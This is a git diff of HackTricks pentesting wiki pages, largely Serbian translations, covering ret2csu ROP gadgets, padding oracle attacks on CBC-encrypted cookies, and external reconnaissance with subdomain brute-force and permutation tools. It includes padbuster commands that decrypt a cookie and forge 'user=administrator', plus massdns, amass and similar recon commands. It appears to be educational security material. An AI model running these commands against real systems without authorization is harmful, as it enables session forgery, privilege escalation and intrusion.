Zamislite da želite da izvršite syscall ili pozovete funkciju kao što je `write()`, ali su vam potrebne specifične vrednosti u registrima `rdx` i `rsi` kao parametri. Obično biste tražili gadgete koji direktno postavljaju te registre, ali ne možete pronaći nijedan.
|
||||||
|
|
||||||
Evo gde **ret2csu** dolazi do izražaja:
|
Evo gde **ret2csu** dolazi do izražaja:
|
||||||
|
|
||||||
1. **Postavite Registre**: Koristite prvi magični gadget da izvučete vrednosti sa steka i smestite ih u rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
|
1. **Postavite registre**: Koristite prvi magični gadget da izvučete vrednosti sa steka i smestite ih u rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
|
||||||
2. **Koristite Drugi Gadget**: Kada su ti registri postavljeni, koristite drugi gadget. Ovo vam omogućava da premestite izabrane vrednosti u `rdx` i `rsi` (iz r14 i r13, redom), pripremajući parametre za poziv funkcije. Štaviše, kontrolišući `r15` i `rbx`, možete naterati program da pozove funkciju smeštenu na adresi koju izračunate i stavite u `[r15 + rbx*8]`.
|
2. **Koristite drugi gadget**: Kada su ti registri postavljeni, koristite drugi gadget. Ovo vam omogućava da premestite izabrane vrednosti u `rdx` i `rsi` (iz r14 i r13, redom), pripremajući parametre za poziv funkcije. Štaviše, kontrolišući `r15` i `rbx`, možete naterati program da pozove funkciju smeštenu na adresi koju izračunate i stavite u `[r15 + rbx*8]`.
|
||||||
|
|
||||||
Imate [**primer koji koristi ovu tehniku i objašnjava je ovde**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a ovo je konačni exploit koji je korišćen:
|
Imate [**primer koji koristi ovu tehniku i objašnjava je ovde**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a ovo je konačni exploit koji je korišćen:
|
||||||
```python
|
```python
|
||||||
|
@ -181,4 +181,4 @@ target.interactive()
|
||||||
```
|
```
|
||||||
### Zašto ne koristiti libc direktno?
|
### Zašto ne koristiti libc direktno?
|
||||||
|
|
||||||
Obično su ovi slučajevi takođe ranjivi na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ali ponekad je potrebno kontrolisati više parametara nego što se lako može kontrolisati sa gadgetima koje direktno pronađete u libc. Na primer, `write()` funkcija zahteva tri parametra, i **pronaći gadgete za postavljanje svih ovih direktno možda neće biti moguće**.
|
Obično su ovi slučajevi takođe ranjivi na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ali ponekad je potrebno kontrolisati više parametara nego što se lako može kontrolisati sa gadgetima koje direktno pronađete u libc. Na primer, `write()` funkcija zahteva tri parametra, i **pronalazak gadgeta za postavljanje svih ovih direktno možda neće biti moguć**.
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Padding Oracle
|
# Padding Oracle
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,28 +15,26 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## CBC - Cipher Block Chaining
|
## CBC - Cipher Block Chaining
|
||||||
|
|
||||||
U CBC režimu **prethodni enkriptovani blok se koristi kao IV** za XOR sa sledećim blokom:
|
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||||
|
|
||||||
Da bi se dekriptovao CBC, **vrše se suprotne** **operacije**:
|
To decrypt CBC the **opposite** **operations** are done:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||||
|
|
||||||
Primetite kako je potrebno koristiti **ključ za enkripciju** i **IV**.
|
Notice how it's needed to use an **encryption** **key** and an **IV**.
|
||||||
|
|
||||||
## Message Padding
|
## Message Padding
|
||||||
|
|
||||||
Kako se enkripcija vrši u **fiksnim** **veličinama** **blokova**, obično je potrebno **paddovanje** u **poslednjem** **bloku** da bi se završila njegova dužina.\
|
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
|
||||||
Obično se koristi **PKCS7**, koji generiše padding **ponavljajući** **broj** **bajtova** **potrebnih** da se **završi** blok. Na primer, ako poslednjem bloku nedostaje 3 bajta, padding će biti `\x03\x03\x03`.
|
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
|
||||||
|
|
||||||
Pogledajmo više primera sa **2 bloka dužine 8 bajtova**:
|
Let's look at more examples with a **2 blocks of length 8bytes**:
|
||||||
|
|
||||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||||
|
@ -45,17 +43,17 @@ Pogledajmo više primera sa **2 bloka dužine 8 bajtova**:
|
||||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||||
|
|
||||||
Primetite kako je u poslednjem primeru **poslednji blok bio pun, pa je generisan još jedan samo sa paddingom**.
|
Note how in the last example the **last block was full so another one was generated only with padding**.
|
||||||
|
|
||||||
## Padding Oracle
|
## Padding Oracle
|
||||||
|
|
||||||
Kada aplikacija dekriptuje enkriptovane podatke, prvo će dekriptovati podatke; zatim će ukloniti padding. Tokom čišćenja paddinga, ako **nevalidan padding izazove uočljivo ponašanje**, imate **padding oracle ranjivost**. Uočljivo ponašanje može biti **greška**, **nedostatak rezultata**, ili **sporiji odgovor**.
|
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
|
||||||
|
|
||||||
Ako primetite ovo ponašanje, možete **dekriptovati enkriptovane podatke** i čak **enkriptovati bilo koji čist tekst**.
|
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
|
||||||
|
|
||||||
### Kako iskoristiti
|
### How to exploit
|
||||||
|
|
||||||
Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili jednostavno uraditi
|
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
|
||||||
```
|
```
|
||||||
sudo apt-get install padbuster
|
sudo apt-get install padbuster
|
||||||
```
|
```
|
||||||
|
@ -65,7 +63,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
|
||||||
```
|
```
|
||||||
**Encoding 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći).
|
**Encoding 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći).
|
||||||
|
|
||||||
Takođe možete **iskoristiti ovu ranjivost za enkripciju novih podataka. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i eskalirati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `paduster`specifikujući -plaintext** parametar:
|
Takođe možete **iskoristiti ovu ranjivost da enkriptujete nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i eskalirati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `paduster`specifikujući -plaintext** parametar:
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||||
```
|
```
|
||||||
|
@ -80,7 +78,7 @@ U **kratko**, možete početi dekriptovanje enkriptovanih podataka pogađanjem i
|
||||||
![](<../.gitbook/assets/image (561).png>)
|
![](<../.gitbook/assets/image (561).png>)
|
||||||
|
|
||||||
Zamislite da imate neki enkriptovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\
|
Zamislite da imate neki enkriptovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\
|
||||||
Da biste **dekriptovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dekripciju blok cifre" generišući **intermedijarne bajtove I0 do I15**.\
|
Da biste **dekriptovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dekriptovanje blok šifre" generišući **intermedijarne bajtove I0 do I15**.\
|
||||||
Na kraju, svaki intermedijarni bajt se **XOR-uje** sa prethodnim enkriptovanim bajtovima (E0 do E7). Tako:
|
Na kraju, svaki intermedijarni bajt se **XOR-uje** sa prethodnim enkriptovanim bajtovima (E0 do E7). Tako:
|
||||||
|
|
||||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||||
|
@ -100,12 +98,12 @@ Znajući **C15**, sada je moguće **izračunati C14**, ali ovaj put brute-forcin
|
||||||
Ovaj BF je jednako složen kao prethodni jer je moguće izračunati `E''15` čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je samo potrebno pronaći **`E'14`** koja generiše **`C14` jednaku `0x02`**.\
|
Ovaj BF je jednako složen kao prethodni jer je moguće izračunati `E''15` čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je samo potrebno pronaći **`E'14`** koja generiše **`C14` jednaku `0x02`**.\
|
||||||
Zatim, uradite iste korake da dekriptujete C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
Zatim, uradite iste korake da dekriptujete C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||||
|
|
||||||
**Pratite chain dok ne dekriptujete ceo enkriptovani tekst.**
|
**Pratite ovaj lanac dok ne dekriptujete ceo enkriptovani tekst.**
|
||||||
|
|
||||||
### Otkrivanje ranjivosti
|
### Otkrivanje ranjivosti
|
||||||
|
|
||||||
Registrujte se i otvorite nalog i prijavite se sa tim nalogom.\
|
Registrujte se i otvorite nalog i prijavite se sa ovim nalogom.\
|
||||||
Ako se **prijavljujete više puta** i uvek dobijate **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. **Kolačić koji se vraća treba da bude jedinstven** svaki put kada se prijavite. Ako je kolačić **uvek** **isti**, verovatno će uvek biti važeći i neće biti načina da se on **nevaži**.
|
Ako se **prijavite više puta** i uvek dobijate **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. **Kolačić koji se vraća treba da bude jedinstven** svaki put kada se prijavite. Ako je kolačić **uvek** **isti**, verovatno će uvek biti važeći i neće biti načina da se on **nevaži**.
|
||||||
|
|
||||||
Sada, ako pokušate da **modifikujete** **kolačić**, možete videti da dobijate **grešku** iz aplikacije.\
|
Sada, ako pokušate da **modifikujete** **kolačić**, možete videti da dobijate **grešku** iz aplikacije.\
|
||||||
Ali ako BF popunu (koristeći padbuster na primer) uspete da dobijete drugi kolačić važeći za drugog korisnika. Ovaj scenario je veoma verovatno ranjiv na padbuster.
|
Ali ako BF popunu (koristeći padbuster na primer) uspete da dobijete drugi kolačić važeći za drugog korisnika. Ovaj scenario je veoma verovatno ranjiv na padbuster.
|
||||||
|
@ -114,17 +112,15 @@ Ali ako BF popunu (koristeći padbuster na primer) uspete da dobijete drugi kola
|
||||||
|
|
||||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podržite HackTricks</summary>
|
<summary>Podrška HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Metodologija Eksterne Recon
|
# Metodologija Eksterne Recon
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,7 +15,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
@ -29,7 +29,7 @@ Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i
|
||||||
|
|
||||||
1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije unutar opsega.
|
1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije unutar opsega.
|
||||||
2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje poseduje svaka kompanija.
|
2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje poseduje svaka kompanija.
|
||||||
3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (to se može raditi rekurzivno).
|
3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (ovo se može raditi rekurzivno).
|
||||||
4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druge imovine (trik sa `ssl` se može raditi rekurzivno).
|
4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druge imovine (trik sa `ssl` se može raditi rekurzivno).
|
||||||
|
|
||||||
### **Akvizicije**
|
### **Akvizicije**
|
||||||
|
@ -43,7 +43,7 @@ Druga opcija je da posetite **Wikipedia** stranicu glavne kompanije i potražite
|
||||||
### **ASN-ovi**
|
### **ASN-ovi**
|
||||||
|
|
||||||
Broj autonomnog sistema (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
|
Broj autonomnog sistema (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
|
||||||
**AS** se sastoji od **blokova** **IP adresa** koji imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
|
**AS** se sastoji od **blokova** **IP adresa** koje imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
|
||||||
|
|
||||||
Zanimljivo je saznati da li je **kompanija dodelila neki ASN** da bi pronašla svoje **IP opsege.** Bilo bi zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
|
Zanimljivo je saznati da li je **kompanija dodelila neki ASN** da bi pronašla svoje **IP opsege.** Bilo bi zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
|
||||||
Možete **pretraživati** po imenu kompanije, po **IP-u** ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
Možete **pretraživati** po imenu kompanije, po **IP-u** ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||||
|
@ -101,7 +101,7 @@ Takođe možete koristiti online alat za ove informacije: [http://ptrarchive.com
|
||||||
|
|
||||||
### **Obrnuti Whois (loop)**
|
### **Obrnuti Whois (loop)**
|
||||||
|
|
||||||
Unutar **whois** možete pronaći mnogo zanimljivih **informacija** kao što su **ime organizacije**, **adresa**, **emailovi**, brojevi telefona... Ali ono što je još zanimljivije je da možete pronaći **više sredstava povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, druge whois registre gde se pojavljuje isti email).\
|
Unutar **whois** možete pronaći mnogo zanimljivih **informacija** kao što su **ime organizacije**, **adresa**, **emailovi**, brojevi telefona... Ali ono što je još zanimljivije je da možete pronaći **više sredstava povezanih sa kompanijom** ako izvršite **obrnute whois pretrage po bilo kojem od tih polja** (na primer, druge whois registre gde se isti email pojavljuje).\
|
||||||
Možete koristiti online alate kao što su:
|
Možete koristiti online alate kao što su:
|
||||||
|
|
||||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno**
|
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno**
|
||||||
|
@ -113,9 +113,9 @@ Možete koristiti online alate kao što su:
|
||||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
|
* [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
|
||||||
|
|
||||||
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink) (zahteva whoxy API ključ).\
|
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink) (zahteva whoxy API ključ).\
|
||||||
Takođe možete izvršiti neku automatsku obrnutu whois pretragu sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
Takođe možete izvršiti neku automatsku obrnutu whois otkrivanje sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||||
|
|
||||||
**Napomena da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novu domenu.**
|
**Imajte na umu da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novu domenu.**
|
||||||
|
|
||||||
### **Trackers**
|
### **Trackers**
|
||||||
|
|
||||||
|
@ -160,7 +160,7 @@ return fhash
|
||||||
```
|
```
|
||||||
### **Copyright / Uniq string**
|
### **Copyright / Uniq string**
|
||||||
|
|
||||||
Pretražujte unutar web stranica **nizove koji se mogu deliti između različitih webova u istoj organizaciji**. **Copyright string** može biti dobar primer. Zatim pretražujte taj niz u **google-u**, u drugim **pregledačima** ili čak u **shodan-u**: `shodan search http.html:"Copyright string"`
|
Pretražujte unutar web stranica **nizove koji bi mogli biti deljeni između različitih webova u istoj organizaciji**. **Copyright string** bi mogao biti dobar primer. Zatim pretražujte taj niz u **google-u**, u drugim **pregledačima** ili čak u **shodan-u**: `shodan search http.html:"Copyright string"`
|
||||||
|
|
||||||
### **CRT Time**
|
### **CRT Time**
|
||||||
|
|
||||||
|
@ -356,11 +356,11 @@ Za ovu akciju biće vam potrebne neke **uobičajene liste reči za subdomene kao
|
||||||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||||
|
|
||||||
Takođe i IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||||
|
|
||||||
Najpreporučiviji alati za DNS brute-force su:
|
Najpreporučivaniji alati za DNS brute-force su:
|
||||||
|
|
||||||
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izvršavao DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
|
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izvršio efikasan DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
|
||||||
```bash
|
```bash
|
||||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||||
|
@ -390,8 +390,8 @@ Nakon što ste pronašli poddomene koristeći otvorene izvore i brute-forcing, m
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dnsgen -
|
cat subdomains.txt | dnsgen -
|
||||||
```
|
```
|
||||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišite permutacije.
|
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domene i poddomene generišite permutacije.
|
||||||
* Možete dobiti goaltdns permutacije **wordlist** [**ovde**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
* Možete dobiti goaltdns permutacije **wordlist** u [**ovde**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||||
```bash
|
```bash
|
||||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||||
```
|
```
|
||||||
|
@ -399,7 +399,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
||||||
```
|
```
|
||||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||||
```
|
```
|
||||||
* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija poddomena, može pokušati i da ih reši (ali je bolje koristiti prethodno pomenute alate).
|
* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija poddomena, može takođe pokušati da ih reši (ali je bolje koristiti prethodno pomenute alate).
|
||||||
* Možete dobiti altdns permutacije **wordlist** u [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
* Možete dobiti altdns permutacije **wordlist** u [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||||
```
|
```
|
||||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||||
|
@ -412,19 +412,19 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||||
```
|
```
|
||||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena, **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
|
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena, **generiše nova potencijalna imena poddomena** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
|
||||||
|
|
||||||
#### Pametna generacija permutacija
|
#### Generisanje pametnih permutacija
|
||||||
|
|
||||||
